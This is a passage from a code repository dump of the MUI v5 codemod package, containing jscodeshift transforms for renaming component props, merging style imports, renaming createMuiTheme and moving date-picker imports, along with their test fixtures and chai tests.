    "content": "\nimport Box from '@material-ui/core/Box';\nimport Button from '@material-ui/core/Button';\n\nexport default function BoxComponent(props) {\n  return (\n    <Box\n      sx={{\n        m: 2,\n        border: \"1px dashed grey\",\n        p: [2, 3, 4]\n      }}>\n      <Box\n        component=\"span\"\n        clone\n        sx={{\n          p: { xs: 2, sm: 3, md: 4 },\n          m: 2,\n          border: \"1px dashed grey\"\n        }}>\n        <Button component=\"span\">Save</Button>\n      </Box>\n      <Box\n        {...props}\n        sx={{\n          p: [1, 2, 4]\n        }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './box-sx-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('box-sx-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./box-sx-prop.test/actual.js'),\n            path: require.resolve('./box-sx-prop.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-sx-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./box-sx-prop.test/expected.js'),\n            path: require.resolve('./box-sx-prop.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-sx-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('alias, transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./box-sx-prop.test/alias-actual.js'),\n            path: require.resolve('./box-sx-prop.test/alias-actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-sx-prop.test/alias-expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('alias, should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./box-sx-prop.test/alias-expected.js'),\n            path: require.resolve('./box-sx-prop.test/alias-expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-sx-prop.test/alias-expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/button-color-prop.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('Button')\n\n    .forEach((path) => {\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'color' &&\n          (node.value.value === 'default' || node.value.expression?.value === 'default')\n        ) {\n          delete attributes[index];\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/button-color-prop.test/actual.js",
    "content": "<div>\n  <Button color=\"primary\" />\n  <Button color=\"default\" />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/button-color-prop.test/expected.js",
    "content": "<div>\n  <Button color=\"primary\" />\n  <Button />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/button-color-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './button-color-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('button-color-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./button-color-prop.test/actual.js'),\n            path: require.resolve('./button-color-prop.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./button-color-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./button-color-prop.test/expected.js'),\n            path: require.resolve('./button-color-prop.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./button-color-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/chip-variant-prop.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('Chip')\n\n    .forEach((path) => {\n      const attributes = path.node.openingElement.attributes;\n      attributes.forEach((node, index) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'variant' &&\n          (node.value.value === 'default' || node.value.expression?.value === 'default')\n        ) {\n          delete attributes[index];\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/chip-variant-prop.test/actual.js",
    "content": "<Chip variant=\"default\" />\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/chip-variant-prop.test/expected.js",
    "content": "<Chip />\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/chip-variant-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './chip-variant-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('chip-variant-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./chip-variant-prop.test/actual.js'),\n            path: require.resolve('./chip-variant-prop.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./chip-variant-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./chip-variant-prop.test/expected.js'),\n            path: require.resolve('./chip-variant-prop.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./chip-variant-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/circularprogress-variant.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('CircularProgress')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (\n          node.type === 'JSXAttribute' &&\n          node.name.name === 'variant' &&\n          (node.value.value === 'static' || node.value.expression?.value === 'static')\n        ) {\n          node.value = j.literal('determinate');\n        }\n\n        if (node.type === 'JSXAttribute' && node.name.name === 'classes') {\n          node.value?.expression?.properties?.forEach((subNode) => {\n            if (subNode.key.name === 'static') {\n              subNode.key.name = 'determinate';\n            }\n          });\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/circularprogress-variant.test/actual.js",
    "content": "<div>\n  <CircularProgress variant=\"static\" classes={{ static: 'className' }} />\n  {/* Should not throw */}\n  <CircularProgress classes={ condition ? something : somethingelse }/>\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/circularprogress-variant.test/expected.js",
    "content": "<div>\n  <CircularProgress variant=\"determinate\" classes={{ determinate: 'className' }} />\n  {/* Should not throw */}\n  <CircularProgress classes={ condition ? something : somethingelse }/>\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/circularprogress-variant.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './circularprogress-variant';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('circularprogress-variant', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./circularprogress-variant.test/actual.js'),\n            path: require.resolve('./circularprogress-variant.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./circularprogress-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./circularprogress-variant.test/expected.js'),\n            path: require.resolve('./circularprogress-variant.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./circularprogress-variant.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/collapse-rename-collapsedheight.js",
    "content": "import renameProps from '../util/renameProps';\nimport renameClassKey from '../util/renameClassKey';\n\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  renameProps({\n    root,\n    componentName: 'Collapse',\n    props: { collapsedHeight: 'collapsedSize' },\n  });\n\n  return renameClassKey({\n    root,\n    componentName: 'Collapse',\n    classes: { container: 'root' },\n    printOptions,\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/collapse-rename-collapsedheight.test/actual.js",
    "content": "<div>\n  <Collapse collapsedHeight={40} />\n  <Collapse classes={{ container: 'collapse' }} />\n  <Box sx={{ '& .MuiCollapse-container': {} }} />\n  <Box sx={{ '& .MuiCollapse-container': {} }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/collapse-rename-collapsedheight.test/expected.js",
    "content": "<div>\n  <Collapse collapsedSize={40} />\n  <Collapse classes={{ root: 'collapse' }} />\n  <Box sx={{ '& .MuiCollapse-root': {} }} />\n  <Box sx={{ '& .MuiCollapse-root': {} }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/collapse-rename-collapsedheight.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './collapse-rename-collapsedheight';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('collapse-rename-collapsedheight', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./collapse-rename-collapsedheight.test/actual.js'),\n            path: require.resolve('./collapse-rename-collapsedheight.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./collapse-rename-collapsedheight.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./collapse-rename-collapsedheight.test/expected.js'),\n            path: require.resolve('./collapse-rename-collapsedheight.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./collapse-rename-collapsedheight.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/component-rename-prop.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: options.component,\n    props: { [options.from]: options.to },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/component-rename-prop.test/actual.js",
    "content": "<div>\n  <Component prop=\"value\" />\n  <Component prop />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/component-rename-prop.test/expected.js",
    "content": "<div>\n  <Component newProp=\"value\" />\n  <Component newProp />\n</div>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/component-rename-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './component-rename-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('component-rename-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./component-rename-prop.test/actual.js'),\n          },\n          { jscodeshift },\n          { component: 'Component', from: 'prop', to: 'newProp' },\n        );\n\n        const expected = read('./component-rename-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./component-rename-prop.test/expected.js'),\n          },\n          { jscodeshift },\n          { component: 'Component', from: 'prop', to: 'newProp' },\n        );\n\n        const expected = read('./component-rename-prop.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/core-styles-import.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  let importStyles = root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value === '@material-ui/core/styles')\n    .nodes()[0];\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) => path.node.source.value.match(/^@material-ui\\/core\\/styles\\/.+$/))\n    .forEach((path) => {\n      const specifiers = path.node.specifiers.map((s) => {\n        if (s.type === 'ImportDefaultSpecifier') {\n          return j.importSpecifier(j.identifier(s.local.name));\n        }\n        return s;\n      });\n\n      if (!importStyles) {\n        importStyles = j.importDeclaration(specifiers, j.literal('@material-ui/core/styles'));\n        path.insertBefore(importStyles);\n      } else {\n        importStyles.specifiers.push(...specifiers);\n      }\n    })\n    .remove();\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/core-styles-import.test/actual.js",
    "content": "import { darken, lighten } from '@material-ui/core/styles/colorManipulator';\nimport { Overrides } from '@material-ui/core/styles/overrides';\nimport makeStyles from '@material-ui/core/styles/makeStyles';\nimport { createTheme } from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/core-styles-import.test/expected.js",
    "content": "import { createTheme, darken, lighten, Overrides, makeStyles } from '@material-ui/core/styles';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/core-styles-import.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './core-styles-import';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('core-styles-import', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./core-styles-import.test/actual.js'),\n            path: require.resolve('./core-styles-import.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./core-styles-import.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./core-styles-import.test/expected.js'),\n            path: require.resolve('./core-styles-import.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./core-styles-import.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  if (file.source.match(/(function\\s*createTheme|const\\s*createTheme)/g)) {\n    root\n      .find(j.ImportDeclaration)\n      .filter(({ node }) => node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/))\n      .forEach(({ node }) => {\n        let localName;\n        node.specifiers.forEach((specifier, index) => {\n          if (specifier.imported.name === 'createMuiTheme') {\n            localName = specifier.local.name;\n            delete node.specifiers[index];\n          }\n        });\n        if (localName) {\n          node.specifiers.push(\n            j.importSpecifier(j.identifier('createTheme'), j.identifier(localName)),\n          );\n        }\n      });\n  } else {\n    let previousVarName;\n\n    root\n      .find(j.ImportDeclaration)\n      .filter(({ node }) => node.source.value.match(/^@material-ui\\/core\\/?(styles)?$/))\n      .forEach(({ node }) => {\n        node.specifiers.forEach((specifier) => {\n          if (!specifier.imported && specifier.local.name === 'createMuiTheme') {\n            // default specifier\n            previousVarName = specifier.local.name;\n            specifier.local.name = 'createTheme';\n          }\n\n          if (specifier.imported && specifier.imported.name === 'createMuiTheme') {\n            previousVarName = specifier.local.name;\n            specifier.local = null;\n            specifier.imported.name = 'createTheme';\n          }\n        });\n      });\n\n    root.find(j.CallExpression, { callee: { name: previousVarName } }).forEach(({ node }) => {\n      node.callee.name = 'createTheme';\n    });\n  }\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/actual.js",
    "content": "import { Button } from '@material-ui/core';\nimport { createMuiTheme } from '@material-ui/core/styles';\n\nconst lightTheme = createMuiTheme();\n\nconst darkTheme = createMuiTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/core-import.actual.js",
    "content": "import { createMuiTheme as createAppTheme } from '@material-ui/core';\n\nconst lightTheme = createAppTheme();\n\nconst darkTheme = createAppTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/core-import.expected.js",
    "content": "import { createTheme } from '@material-ui/core';\n\nconst lightTheme = createTheme();\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/custom-fn.actual.js",
    "content": "import { Button, createMuiTheme } from '@material-ui/core';\n\nexport function createThemeOptions() {\n  return {};\n}\n\nexport function createThemeOverrides(theme) {\n  return {};\n}\n\nexport function createTheme(options) {\n  const themeOptions = createThemeOptions(options);\n  const baseTheme = createMuiTheme(themeOptions);\n  const overrides = createThemeOverrides(baseTheme);\n  const theme = { ...baseTheme, overrides };\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/custom-fn.expected.js",
    "content": "import { Button, createTheme as createMuiTheme } from '@material-ui/core';\n\nexport function createThemeOptions() {\n  return {};\n}\n\nexport function createThemeOverrides(theme) {\n  return {};\n}\n\nexport function createTheme(options) {\n  const themeOptions = createThemeOptions(options);\n  const baseTheme = createMuiTheme(themeOptions);\n  const overrides = createThemeOverrides(baseTheme);\n  const theme = { ...baseTheme, overrides };\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test/expected.js",
    "content": "import { Button } from '@material-ui/core';\nimport { createTheme } from '@material-ui/core/styles';\n\nconst lightTheme = createTheme();\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/create-theme.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './create-theme';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('create-theme', () => {\n      it('transforms createMuiTheme as needed', () => {\n        const actual = transform(\n          {\n            source: read('./create-theme.test/actual.js'),\n            path: require.resolve('./create-theme.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./create-theme.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./create-theme.test/expected.js'),\n            path: require.resolve('./create-theme.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./create-theme.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms with core import', () => {\n        const actual = transform(\n          {\n            source: read('./create-theme.test/core-import.actual.js'),\n            path: require.resolve('./create-theme.test/core-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./create-theme.test/core-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('existing custom createTheme', () => {\n        const actual = transform(\n          {\n            source: read('./create-theme.test/custom-fn.actual.js'),\n            path: require.resolve('./create-theme.test/custom-fn.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./create-theme.test/custom-fn.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.js",
    "content": "const exports = {\n  AdapterDateFns: {\n    default: 'AdapterDateFns',\n    named: [],\n  },\n  AdapterDayjs: {\n    default: 'AdapterDayjs',\n    named: [],\n  },\n  AdapterLuxon: {\n    default: 'AdapterLuxon',\n    named: [],\n  },\n  AdapterMoment: {\n    default: 'AdapterMoment',\n    named: [],\n  },\n  CalendarPicker: {\n    default: 'CalendarPicker',\n    named: [\n      'calendarPickerClasses',\n      'CalendarPickerClasses',\n      'CalendarPickerClassKey',\n      'CalendarPickerProps',\n      'CalendarPickerView',\n    ],\n  },\n  CalendarPickerSkeleton: {\n    default: 'CalendarPickerSkeleton',\n    named: [\n      'calendarPickerSkeletonClasses',\n      'CalendarPickerSkeletonClassKey',\n      'CalendarPickerSkeletonProps',\n      'getCalendarPickerSkeletonUtilityClass',\n    ],\n  },\n  ClockPicker: {\n    default: 'ClockPicker',\n    named: [\n      'clockPickerClasses',\n      'ClockPickerClasses',\n      'ClockPickerClassKey',\n      'ClockPickerProps',\n      'ClockPickerView',\n    ],\n  },\n  DatePicker: {\n    default: 'DatePicker',\n    named: ['DatePickerProps'],\n  },\n  DateRangePicker: {\n    default: 'DateRangePicker',\n    named: ['DateRange', 'DateRangePickerProps'],\n    isPro: true,\n  },\n  DateRangePickerDay: {\n    default: 'DateRangePickerDay',\n    named: [\n      'dateRangePickerDayClasses',\n      'DateRangePickerDayClasses',\n      'DateRangePickerDayClassKey',\n      'DateRangePickerDayProps',\n      'getDateRangePickerDayUtilityClass',\n    ],\n    isPro: true,\n  },\n  DateTimePicker: {\n    default: 'DateTimePicker',\n    named: ['DateTimePickerProps'],\n  },\n  DesktopDatePicker: {\n    default: 'DesktopDatePicker',\n    named: ['DesktopDatePickerProps'],\n  },\n  DesktopDateRangePicker: {\n    default: 'DesktopDateRangePicker',\n    named: ['DesktopDateRangePickerProps'],\n    isPro: true,\n  },\n  DesktopDateTimePicker: {\n    default: 'DesktopDateTimePicker',\n    named: ['DesktopDateTimePickerProps'],\n  },\n  DesktopTimePicker: {\n    default: 'DesktopTimePicker',\n    named: ['DesktopTimePickerProps'],\n  },\n  LocalizationProvider: {\n    default: 'LocalizationProvider',\n    named: [\n      'LocalizationProviderProps',\n      'MuiPickersAdapter',\n      'MuiPickersAdapterContext',\n      'MuiPickersAdapterContextValue',\n    ],\n  },\n  MobileDatePicker: {\n    default: 'MobileDatePicker',\n    named: ['MobileDatePickerProps'],\n  },\n  MobileDateRangePicker: {\n    default: 'MobileDateRangePicker',\n    named: ['MobileDateRangePickerProps'],\n    isPro: true,\n  },\n  MobileDateTimePicker: {\n    default: 'MobileDateTimePicker',\n    named: ['MobileDateTimePickerProps'],\n  },\n  MobileTimePicker: {\n    default: 'MobileTimePicker',\n    named: ['MobileTimePickerProps'],\n  },\n  MonthPicker: {\n    default: 'MonthPicker',\n    named: [\n      'monthPickerClasses',\n      'getMonthPickerUtilityClass',\n      'MonthPickerClassKey',\n      'MonthPickerProps',\n    ],\n  },\n  PickersDay: {\n    default: 'PickersDay',\n    named: [\n      'pickersDayClasses',\n      'getPickersDayUtilityClass',\n      'PickersDayClassKey',\n      'PickersDayProps',\n    ],\n  },\n  StaticDatePicker: {\n    default: 'StaticDatePicker',\n    named: ['StaticDatePickerProps'],\n  },\n  StaticDateRangePicker: {\n    default: 'StaticDateRangePicker',\n    named: ['StaticDateRangePickerProps'],\n    isPro: true,\n  },\n  StaticDateTimePicker: {\n    default: 'StaticDateTimePicker',\n    named: ['StaticDateTimePickerProps'],\n  },\n  StaticTimePicker: {\n    default: 'StaticTimePicker',\n    named: ['StaticTimePickerProps'],\n  },\n  TimePicker: {\n    default: 'TimePicker',\n    named: ['TimePickerProps'],\n  },\n  YearPicker: {\n    default: 'YearPicker',\n    named: [\n      'yearPickerClasses',\n      'getYearPickerUtilityClass',\n      'YearPickerClassKey',\n      'YearPickerProps',\n    ],\n  },\n};\n\nconst buildLookup = () => {\n  return Object.fromEntries(\n    Object.entries(exports).flatMap(([entryPoint, entryPointData]) =>\n      [entryPointData.default, ...entryPointData.named].map((exportName) => [\n        exportName,\n        { entryPoint, isPro: entryPointData.isPro },\n      ]),\n    ),\n  );\n};\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(fileInfo, api, options) {\n  const j = api.jscodeshift;\n  const printOptions = options.printOptions || { quote: 'single' };\n\n  const lookup = buildLookup();\n\n  const root = j(fileInfo.source);\n\n  root\n    .find(j.ImportDeclaration)\n    .forEach((path) => {\n      const importSource = path.node.source.value;\n      const subPackageImportMatch = importSource.match(/@mui\\/lab\\/(.*)/);\n      if (subPackageImportMatch !== null) {\n        const subModule = subPackageImportMatch[1];\n\n        if (subModule.startsWith('internal')) {\n          console.warn('Imports from `@mui/lab/internal` are not supported');\n          return;\n        }\n\n        if (exports[subModule]) {\n          /**\n           * @type {import('jscodeshift').ASTPath}\n           */\n          const sourcePath = path.get('source');\n          const targetPackage = exports[subModule].isPro\n            ? '@mui/x-date-pickers-pro'\n            : '@mui/x-date-pickers';\n          const targetImportPath = `${targetPackage}/${subModule}`;\n          sourcePath.replace(j.stringLiteral(targetImportPath));\n\n          const importDeclaration = path.value;\n          importDeclaration.specifiers = importDeclaration.specifiers.map((specifier) => {\n            if (specifier.type === 'ImportDefaultSpecifier') {\n              const localName = specifier.local.name;\n              return j.importSpecifier(j.identifier(subModule), j.identifier(localName));\n            }\n            return specifier;\n          });\n        }\n      } else if (importSource === '@mui/lab') {\n        // Sieve import specifiers into /core and /lab\n        const xImportSpecifiers = [];\n        const labImportSpecifiers = [];\n        let isPro = false;\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier') {\n            const lookupValue = lookup[specifier.imported.name];\n            if (lookupValue) {\n              xImportSpecifiers.push(specifier);\n              if (lookupValue.isPro) {\n                isPro = true;\n              }\n            } else {\n              labImportSpecifiers.push(specifier);\n            }\n          } else {\n            // `import Lab from '@material-ui/lab'`\n            // `import * as Lab from '@material-ui/lab'`\n            // These imports would require scope analysis.\n            console.warn(`Can't handle ${specifier.type}`);\n          }\n        });\n\n        if (xImportSpecifiers.length > 0) {\n          const targetPackage = isPro ? '@mui/x-date-pickers-pro' : '@mui/x-date-pickers';\n          path.replace(\n            j.importDeclaration(xImportSpecifiers, j.stringLiteral(targetPackage)),\n            j.importDeclaration(labImportSpecifiers, j.stringLiteral('@mui/lab')),\n          );\n        }\n      }\n    })\n    .toSource(printOptions);\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/date-pickers-moved-to-x.test/actual-root-community.js",
    "content": "import {\n  CalendarPicker,\n  calendarPickerClasses,\n  CalendarPickerClasses,\n  CalendarPickerClassKey,\n  CalendarPickerProps,\n  CalendarPickerView,\n  CalendarPickerSkeleton,\n  calendarPickerSkeletonClasses,\n  CalendarPickerSkeletonClassKey,\n  CalendarPickerSkeletonProps,\n  getCalendarPickerSkeletonUtilityClass,\n  ClockPicker,\n  clockPickerClasses,\n  ClockPickerClasses,\n  ClockPickerClassKey,\n  ClockPickerProps,\n  ClockPickerView,\n  DatePicker,\n  DatePickerProps,\n  DateTimePicker,\n  DateTimePickerProps,\n  DesktopDatePicker,\n  DesktopDatePickerProps,\n  DesktopDateTimePicker,\n  DesktopDateTimePickerProps,\n  DesktopTimePicker,\n  DesktopTimePickerProps,\n  LocalizationProvider,\n  LocalizationProviderProps,\n  MuiPickersAdapter,\n  MuiPickersAdapterContext,\n  MuiPickersAdapterContextValue,\n  MobileDatePicker,\n  MobileDatePickerProps,\n  MobileDateTimePicker,\n  MobileDateTimePickerProps,\n  MobileTimePicker,\n  MobileTimePickerProps,\n  MonthPicker,\n  monthPickerClasses,\n  getMonthPickerUtilityClass,\n  MonthPickerClassKey,\n  MonthPickerProps,\n  PickersDay,\n  pickersDayClasses,\n  getPickersDayUtilityClass,\n  PickersDayClassKey,\n  PickersDayProps,\n  